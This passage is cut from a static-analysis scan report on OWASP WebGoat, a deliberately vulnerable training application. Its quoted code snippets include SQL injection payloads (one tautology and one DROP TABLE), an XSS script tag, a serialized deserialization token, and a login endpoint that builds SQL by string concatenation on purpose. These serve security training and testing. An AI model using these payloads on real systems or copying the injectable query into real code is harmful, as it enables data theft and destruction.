\"01101AA\")\n                .param(\"field6\", \"90201 1111AA\")\n                .param(\"field7\", \"301-604-4882$$\")\n                .param(\"error\", \"0\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void notBypassingAllFieldShouldNotPass() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java\nStartLine: 74, EndLine: 88\nCode:\n}\n\n    @Test\n    public void solveAssignment() throws Exception {\n        Claims claims = createClaims(\"WebGoat\");\n        String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/secret\")\n                .param(\"token\", token))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void solveAssignmentWithLowercase() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 41, EndLine: 60\nCode:\n@PostMapping(\"/SqlInjectionAdvanced/challenge_Login\")\n  @ResponseBody\n  public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    Connection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {\n      return failed().feedback(\"NoResultsMatched\").build();\n    }\n  }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 81, EndLine: 92\nCode:\n}\n\n    @Test\n    public void resetWithoutTokenShouldNotWork() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings\")\n                .contentType(MediaType.APPLICATION_JSON))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-invalid-token\"))));\n    }\n\n    @Test\n    public void guestShouldNotGetAToken() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTFinalEndpointTest.java\nStartLine: 55, EndLine: 67\nCode:\n}\n\n    @Test\n    public void withJerrysKeyShouldNotSolveAssignment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/final/delete\")\n                .param(\"token\", TOKEN_JERRY)\n                .content(\"\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-final-jerry-account\"))));\n    }\n\n    @Test\n    public void shouldNotBeAbleToBypassWithSimpleToken() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 99, EndLine: 127\nCode:\n}\n\n    @Test\n    public void wrongNameReturnsNoAccounts() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smithh\")\n                    .param(\"auth_tan\", \"3SL99A\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.8.no.results\")))))\n                    .andExpect(jsonPath(\"$.output\").doesNotExist());\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smithh\")\n                    .param(\"auth_tan\", \"3SL99A\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.8.no.success\")))))\n                    .andExpect(jsonPath(\"$.output\").doesNotExist());\n        }\n    }\n\n    @Test\n    public void wrongTANReturnsNoAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 56, EndLine: 80\nCode:\nprivate final UserService userDetailsService;\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http\n                .authorizeRequests()\n                .antMatchers(\"/css/**\", \"/images/**\", \"/js/**\", \"fonts/**\", \"/plugins/**\", \"/registration\", \"/register.mvc\").permitAll()\n                .anyRequest().authenticated();\n        security.and()\n                .formLogin()\n                .loginPage(\"/login\")\n                .defaultSuccessUrl(\"/welcome.mvc\", true)\n                .usernameParameter(\"username\")\n                .passwordParameter(\"password\")\n                .permitAll();\n        security.and()\n                .logout().deleteCookies(\"JSESSIONID\").invalidateHttpSession(true);\n        security.and().csrf().disable();\n\n        http.headers().cacheControl().disable();\n        http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint(\"/login\"));\n    }\n\n    //// TODO: 11/18/2016 make this a little bit more configurabe last part at least\n    @Override","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 68, EndLine: 80\nCode:\n}\n\n    @Test\n    public void wrongPassword() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n                .param(\"username\", \"admin\")\n                .param(\"password\", \"wrong\"))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n//    @Test\n//    public void correctPasswordXForwardHeaderMissing() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/test/java/org/owasp/webgoat/password_reset/SecurityQuestionAssignmentTest.java\nStartLine: 29, EndLine: 42\nCode:\n}\n\n    @Test\n    public void oneQuestionShouldNotSolveTheAssignment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"password-questions-one-successful\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)))\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.notNullValue()));\n    }\n\n    @Test\n    public void twoQuestionsShouldSolveTheAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8Test.java\nStartLine: 72, EndLine: 87\nCode:\n}\n\n    @Test\n    public void wrongNameReturnsNoAccounts() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack8\")\n                .param(\"name\", \"Smithh\")\n                .param(\"auth_tan\", \"3SL99A\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.feedback\", is(modifySpan(messages.getMessage(\"sql-injection.8.no.results\")))))\n                .andExpect(jsonPath(\"$.output\").doesNotExist());\n    }\n\n    @Test\n    public void wrongTANReturnsNoAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 78, EndLine: 86\nCode:\n//// TODO: 11/18/2016 make this a little bit more configurabe last part at least\n    @Override\n    public void configure(WebSecurity web) throws Exception {\n        web.ignoring().antMatchers(\"/plugin_lessons/**\", \"/XXE/**\");\n    }\n\n    @Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/chrome-dev-tools/src/test/java/org/owasp/webgoat/chrome_dev_tools/ChromeDevToolsTest.java\nStartLine: 44, EndLine: 55\nCode:\n}\n\n    @Test\n    public void NetworkAssignmentTest_Fail() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/ChromeDevTools/network\")\n                .param(\"network_num\", \"123456\")\n                .param(\"number\", \"654321\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", Matchers.is(false)));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 33, EndLine: 53\nCode:\n}\n\n    @Test\n    public void allAnswersCorrectIsSuccess() throws Exception {\n        String[] solution0 = {\"Solution 3\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 2\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void oneAnswerWrongIsFailure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/DOMCrossSiteScriptingTest.java\nStartLine: 57, EndLine: 72\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/CrossSiteScripting/phone-home-xss\")\n                .header(\"webgoat-requested-by\", \"dom-xss-vuln\")\n                .param(\"param1\", \"42\")\n                .param(\"param2\", \"24\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.containsString(\"phoneHome Response is \" + randVal)))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void failure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFrontendValidationTest.java\nStartLine: 59, EndLine: 76\nCode:\n}\n\n    @Test\n    public void notBypassingAllFieldShouldNotPass() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/BypassRestrictions/frontendValidation\")\n                .param(\"field1\", \"abc\")\n                .param(\"field2\", \"1234\")\n                .param(\"field3\", \"abc $ABC 123\")\n                .param(\"field4\", \"ten\")\n                .param(\"field5\", \"01101AA\")\n                .param(\"field6\", \"90201 1111AA\")\n                .param(\"field7\", \"301-604-4882AA\")\n                .param(\"error\", \"0\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 49, EndLine: 77\nCode:\nprivate String completedError = \"JSON path \\\"lessonCompleted\\\"\";\n\n    @Test\n    public void oneAccount() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.one\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"<table><tr><th>\")));\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.success\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"<table><tr><th>\")));\n        }\n    }\n\n    @Test\n    public void multipleAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 66, EndLine: 79\nCode:\n@Test\n    public void csrfAttack() throws Exception {\n        mockMvc.perform(post(\"/csrf/feedback/message\")\n                .contentType(MediaType.TEXT_PLAIN)\n                .cookie(new Cookie(\"JSESSIONID\", \"test\"))\n                .header(\"host\", \"localhost:8080\")\n                .header(\"referer\", \"webgoat.org\")\n                .content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"feedback\", StringContains.containsString(\"the flag is: \")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 74, EndLine: 102\nCode:\n}\n\n    @Test\n    public void multipleAccounts() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A' OR '1' = '1\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.one\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"<tr><td>96134<\\\\/td><td>Bob<\\\\/td><td>Franco<\\\\/td><td>Marketing<\\\\/td><td>83700<\\\\/td><td>LO9S2V<\\\\/td><\\\\/tr>\")));\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A' OR '1' = '1\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.success\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"<tr><td>96134<\\\\/td><td>Bob<\\\\/td><td>Franco<\\\\/td><td>Marketing<\\\\/td><td>83700<\\\\/td><td>LO9S2V<\\\\/td><\\\\/tr>\")));\n        }\n    }\n\n    @Test\n    public void wrongNameReturnsNoAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 84, EndLine: 104\nCode:\n}\n\n    @Test\n    public void threeAnswersWrongIsFailure() throws Exception {\n        String[] solution0 = {\"Solution 1\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 1\"};\n        String[] solution3 = {\"Solution 3\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void allAnswersWrongIsFailure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequestTest.java\nStartLine: 80, EndLine: 92\nCode:\n}\n\n    @Test\n    public void missingHeader() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/HttpProxies/intercept-request\")\n                .param(\"changeMe\", \"Requests are tampered easily\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.failure\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void whenPostAssignmentShouldNotPass() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 175, EndLine: 185\nCode:\n}\n\n    @Test\n    public void guestShouldNotBeAbleToVote() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 134, EndLine: 150\nCode:\n}\n\n    @Test\n    public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Jerry\");\n        loginJson.put(\"password\", PASSWORD + \"wrong\");\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void loginShouldNotWorkForTom() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringFreeAssignmentTest.java\nStartLine: 32, EndLine: 42\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/clientSideFiltering/getItForFree\")\n                .param(\"checkoutCode\", SUPER_COUPON_CODE))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void wrongCouponCode() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 53, EndLine: 78\nCode:\n@PostMapping(\"/challenge/5\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }\n\n    private void checkDatabase(Connection connection) throws SQLException {\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest2.java\nStartLine: 48, EndLine: 57\nCode:\nprivate SSRF ssrf;\n\n    @Before\n    public void setup() throws Exception {\n        when(webSession.getCurrentLesson()).thenReturn(ssrf);\n        this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();\n    }\n\n    @Test\n    public void modifyUrlIfconfigPro() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/StoredXssCommentsTest.java\nStartLine: 63, EndLine: 76\nCode:\n}\n\n    @Test\n    public void failure() throws Exception {\n        ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post(\"/CrossSiteScriptingStored/stored-xss\")\n                .content(\"{\\\"text\\\":\\\"someTextHere<script>alert('Xss')</script>MoreTextHere\\\"}\")\n                .contentType(MediaType.APPLICATION_JSON));\n\n        results.andExpect(status().isOk());\n        results.andExpect(jsonPath(\"$.lessonCompleted\",CoreMatchers.is(false)));\n    }\n\n    /* For the next two tests there is a comment seeded ...\n        comments.add(new Comment(\"secUriTy\", DateTime.now().toString(fmt), \"<script>console.warn('unit test me')</script>Comment for Unit Testing\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 66, EndLine: 80\nCode:\n}\n    \n    @Test\n    public void expiredTask() throws Exception {\n    \tString token = \"rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw\";\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"token\", token))\n        \t\t.andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"insecure-deserialization.expired\"))))\n        \t\t.andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10Test.java\nStartLine: 69, EndLine: 80\nCode:\n}\n\n    @Test\n    public void tableMissingIsSuccess() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack10\")\n                .param(\"action_string\", \"%'; DROP TABLE access_log;--\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.10.success\")))));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenusTest.java\nStartLine: 58, EndLine: 70\nCode:\n}\n\n    @Test\n    public void HiddenMenusClose() throws  Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/access-control/hidden-menu\")\n                .param(\"hiddenMenu1\", \"Config\")\n                .param(\"hiddenMenu2\", \"Users\"))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"access-control.hidden-menus.close\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void HiddenMenusFailure() throws  Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java\nStartLine: 85, EndLine: 99\nCode:\n}\n\n    @Test\n    public void solveAssignmentWithLowercase() throws Exception {\n        Claims claims = createClaims(\"webgoat\");\n        String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/secret\")\n                .param(\"token\", token))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 89, EndLine: 97\nCode:\n@Bean\n    @Override\n    public UserDetailsService userDetailsServiceBean() throws Exception {\n        return userDetailsService;\n    }\n\n    @Override\n    @Bean","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 67, EndLine: 87\nCode:\n}\n\n    @Test\n    public void twoAnswersWrongIsFailure() throws Exception {\n        String[] solution0 = {\"Solution 1\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 3\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void threeAnswersWrongIsFailure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequestTest.java\nStartLine: 51, EndLine: 64\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/HttpProxies/intercept-request\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"changeMe\", \"Requests are tampered easily\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.success\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void failure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 89, EndLine: 100\nCode:\n}\n\n    @Test\n    public void guestShouldNotGetAToken() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .param(\"user\", \"Guest\"))\n                .andExpect(status().isUnauthorized()).andExpect(cookie().value(\"access_token\", \"\"));\n    }\n\n    @Test\n    public void tomShouldGetAToken() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}},{"id":"74714BFC-EDF7-445B-8672-0996214D5845","desc":"<Content>The program can potentially fail to release a system resource.\n<Paragraph>\nIn this case, there are program paths on which the resource allocated in <Replace key=\"FirstTraceLocation.file\"/> at line <Replace key=\"FirstTraceLocation.line\"/> is not released.\n</Paragraph>\nResource leaks have at least two common causes:\n\n- Error conditions and other exceptional circumstances.\n\n- Confusion over which part of the program is responsible for releasing the resource.\n\nMost unreleased resource issues result in general software reliability problems. However, if an attacker can intentionally trigger a resource leak, the attacker may be able to launch a denial of service attack by depleting the resource pool.\n\n<b>Example:</b> The following method never closes the file handle it opens. The <code>finalize()</code> method for <code>FileInputStream</code> eventually calls <code>close()</code>, but there is no guarantee as to how long it will take before the <code>finalize()</code> method will be invoked. In a busy environment, this can result in the JVM using up all of its file handles.\n<pre>\nprivate void processFile(String fName) throws FileNotFoundException, IOException {\n  FileInputStream fis = new FileInputStream(fName);\n  int sz;\n  byte[] byteArray = new byte[BLOCK_SIZE];\n  while ((sz = fis.read(byteArray)) != -1) {\n    processBytes(byteArray, sz);\n  }\n}\n</pre></Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace 